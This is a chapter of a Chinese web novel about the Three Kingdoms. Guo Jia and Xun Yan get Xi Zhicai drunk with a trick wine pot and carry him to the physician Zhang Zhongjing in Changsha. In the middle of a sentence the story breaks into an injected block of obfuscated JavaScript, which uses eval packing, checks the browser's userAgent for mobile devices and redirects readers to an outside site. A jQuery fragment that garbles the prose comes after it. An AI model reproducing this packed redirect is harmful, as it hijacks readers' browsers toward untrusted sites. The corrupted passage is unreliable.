25.被坑的戏志才
作品:《开局绑定郭奉孝,我在三国杀疯了》 荀彧的话,堵在了喉咙里。他错愕地看着郭嘉,这些细节,连他这个做兄长的都不知道,郭嘉是如何知晓的?
荀衍仿佛并未觉得有何不妥,他继续说道:“只是民间缺铁,新式农具难以推广。”
荀彧立刻抓住了关键,正要追问是何种农具,需要多少铁料。
郭嘉的声音,再一次响起,带着一种成竹在胸的从容。
“可是曲辕犁?此事不难。府衙不肯出面,便由荀氏牵头,联合颍川各家,先行试用。或租或卖,总有办法。”
他不仅知道农具的名称,连解决方案都想好了。
荀彧彻底沉默了。
他看着自己名义上的弟弟,正与一个外人你一言我一语,讨论着家族未来的大计,两人的思路与话语衔接得天衣无缝,仿佛他们才是一个整体。
一股前所未有的憋闷,涌上心头。
荀彧面无表情地看着他们,心中只有一个念头在反复盘旋。
这到底是你弟弟,还是我弟弟?
车队终于行至城门前。
荀谌撩开车帘,只一眼,心中便冷笑一声。
果然。
官道上,荀彧独自站在一侧,身形笔直,如一株孤松。
而另一侧,荀衍与郭嘉并肩而立,两人之间,距离近得几乎能共享同一片衣影。
三人,恰好构成一个“人”字,一个“从”字。
谁主谁次,谁亲谁疏,一目了然。
“友若兄,阿衍。”
一个略带沙哑的嗓音从旁边的酒楼上传来,戏志才斜倚在二楼的栏杆上,手中拎着个酒壶,对着下方遥遥一举。
“志才兄风采依旧。”荀衍回以一礼。
一行人簇拥着荀绲与张氏的马车,向荀府行去。
荀府门前,安顿好父母后,荀衍正要回自己的院落,郭嘉却自然而然地跟了上来。
“我送你回去。”
“不必,府内都是自家人。”荀彧的声音从旁侧传来,不冷不热。
郭嘉置若罔闻,依旧跟在荀衍身侧。
戏志才看着这场景,只觉得好笑。
他跟上几步,压低声音对郭嘉说:“行了,人都到家了,你还赖着做什么?又不是明天就见不着了。”
“你不懂。”郭嘉目不斜视,声音同样压得很低,“友若兄与文若兄皆忙于政务,阿衍这两年,心里的话,怕是没个人能说。好不容易见了我,必然是想与我秉烛夜谈的。”
戏志才差点被自己的口水呛到。
秉烛夜谈?
他斜眼瞟了一下不远处荀彧那张已经快要结冰的脸。
“阿衍想不想夜谈我不知道,”戏志才幽幽开口,“我只知道,你再不走,文若兄的剑,就该出鞘了。”
郭嘉脚步一顿,回头看了一眼这个总在关键时刻碍事的家伙。
他忽然想起一事,凑近戏志才,用只有两人能听到的声音说:“阿衍与我说,如今黄巾已平,他已托人与水镜先生说妥,荐你去长沙张仲景处治病。”
戏志才脸上的笑意僵住了。
郭嘉见状,心中了然,拍了拍他的肩膀,这才转身,对着荀衍露出一个温和的笑。
“明日我再来看你。”
说完,他拉着面色不豫的戏志才,干脆利落地走了。
夜里,戏志才的院中。
“我不去。”戏志才将一杯酒饮尽,语气决绝,“我这身子,我自己清楚,不过是苟延残喘。长沙路远,舟车劳顿,去了也不一定有用。”
“这是阿衍的一片心意。”
“心意我领了。”戏志才自嘲一笑。
郭嘉看着他,许久,端起自己的酒杯。
三日后。
郭嘉再次登门,硬是把戏志才从床上拖了起来。
“今日,不醉不归。”
戏志才本就心中郁结,又拗不过郭嘉,几杯烈酒下肚,话便多了起来。
从少时同窗的趣事,说到如今这崩坏的世道,最后,他趴在桌上,已是人事不省。
郭嘉放下酒杯,眼神清明,没有半分醉意。
他对着门外拍了拍手。
几名身强力壮的家仆立刻走了进来。
“把他搬到马车上。”郭嘉吩咐道,“动静小点,别惊动了旁人。”
“是。”
荀府后门,一辆不起眼的马车早已静候多时。
荀衍披着一件斗篷,站在车边。
当戏志才被塞进车厢时,他探头看了一眼,对着郭嘉点了点头。
“路上所需之物,都已备妥。”
“辛苦了。”郭嘉翻身上了另一匹马。
马车轻微摇晃,节奏平稳,车轮压过官道碎石的声音,规律得如同催眠的曲调。
戏志才的意识从一片混沌中浮起,头疼欲裂。
他记得自己被郭嘉拖去喝酒,那家伙不知发什么疯,一杯接着一杯,自己就算千杯不醉也经不起他这么灌酒,然后……
然后就没了记忆。
他动了动身子,发觉自己躺在柔软的被褥里,身上还盖着一条薄毯。
绑匪?
念头刚起,就被他自己掐灭了。
哪有这般体贴的绑匪?还管你睡得舒不舒服。
他撑起身,揉着发胀的太阳穴,一把掀开了车厢的布帘。
帘外,月色如水,星河璀璨。
两匹骏马并驾齐驱,郭嘉与荀衍的身影在月光下被拉得修长。两人不知在聊些什么,夜风将郭嘉清朗的笑声送入车厢,清晰可闻。
连夜赶路,不见半分疲态。
戏志才的脑子,瞬间清醒了。
他被气笑了。
好你个郭奉孝!
“咳咳!”他重重地咳嗽了两声。
马背上的笑声戛然而止。
郭嘉回过头,月光照亮他那张俊逸的脸,上面还挂着未及收敛的笑意:“志才,你醒了?你这酒量,当真不行,才几杯就倒了。”
戏志才靠在车门上,冷笑一声:“郭奉孝,你敢说你没耍诈?”
“我耍什么诈了?”郭嘉一脸无辜,“是你身子虚,影响了酒力。不如这样,待你病好,我们再堂堂正正喝一场,如何?”
荀衍在心中暗笑。
自己亲手画图,让匠人打造的阴阳壶,内有夹层,壶嘴处设有两个看不见的细微孔道。倒酒时只需指尖轻轻一压,流出的便是清水
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227473|197113||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
戏志才喝的是烈酒,郭嘉饮的是清水,别说一场,再来十场,他也赢不了。
“学坏了,荀阿衍,你跟着郭奉孝,是真学坏了!”戏志才的目光转向荀衍,带着几分控诉,“此事我定要修书一封,告知文若,看他如何罚你!”
荀衍眨了眨眼,一脸的茫然与无辜。
“志才兄,此话从何说起?”他语气诚恳,“我只是要去荆州拜会恩师,恰好与奉孝兄长同行罢了。这绑人之事,可与我无关。”
戏志才被他这副模样噎了一下,随即反应过来,怒道:“与你无关?张仲景不是你寻的?这马车不是你荀氏的?连护卫都是你荀氏的部曲!”
“你说我便是,莫要牵扯阿衍。”郭嘉立刻开口,将所有责任揽到自己身上,“再者,讳疾忌医可不是好习惯。”
荀衍见状,立刻顺着台阶往下走,对着戏志才露齿一笑,纯良无害。
“对,志才兄,你骂完奉孝兄长,可就不能再提我了。”
郭嘉:“……”
他回头看了一眼这个瞬间就把自己卖了的队友,脸上满是哭笑不得的神情。
一路之上,车厢内外,再未消停。
从经义辩到兵法,从天下大势聊到乡野趣闻。
二十日后,车队抵达长沙。
寻到张仲景的医馆时,这位名满荆襄的神医,正在院中捣药。
他年约四旬,身着朴素的麻衣,面容清癯,并未有仙风道骨之态。唯独一双眼睛却沉静如古井,仿佛能看透人心肺腑。
他放下药杵,擦了擦手,目光在三人身上扫过。
“哪位是病人?”
气氛有片刻的凝滞。
荀衍上前一步,对着张仲景行了一礼,然后伸手指了指身后的两人:“先生,是他们二人。”
郭嘉紧随其后,同样一指,指向荀衍和戏志才:“先生,是他们二人。”
戏志才翻了个白眼,懒洋洋地抬手,指尖在郭嘉和荀衍之间来回点了点:“我看他们二人才有病,病得不轻。”
医馆的药童们看得目瞪口呆。
张仲景看着眼前这互相推诿的一幕,脸上却无半分波澜。他只是平静地看着三人,那双洞悉世事的眼睛,仿佛早已看穿了一切。
半晌,他对着身后的药童,淡淡地吩咐了一句。
“不必争了。”
“去后院收拾一间清静的院子出来,让三位病人居住。”
张仲景的话音落下,院内陷入一种古怪的寂静。
郭嘉和荀衍面面相觑,戏志才则是愣了片刻后,抚掌大笑起来,笑声牵动了肺腑,又引发一阵剧烈的咳嗽。
“咳咳……好,好一个三位病人!”他一边咳,一边指着另外两人,“我认了。那便请神医看看,他们二位,病在何处?”
张仲景并未理会他的调侃,只是平静地吩咐药童:“带三位去后院‘静心居’安顿,茶水备淡竹叶。”
说罢,他便转身回了药堂,留下三人在原地。
静心居内,每间屋子都陈设简单,一桌一椅,一榻一几,空气里弥漫着一股淡淡的草药清香,闻之令人心安。
可屋内的三个人,没一个心安的。

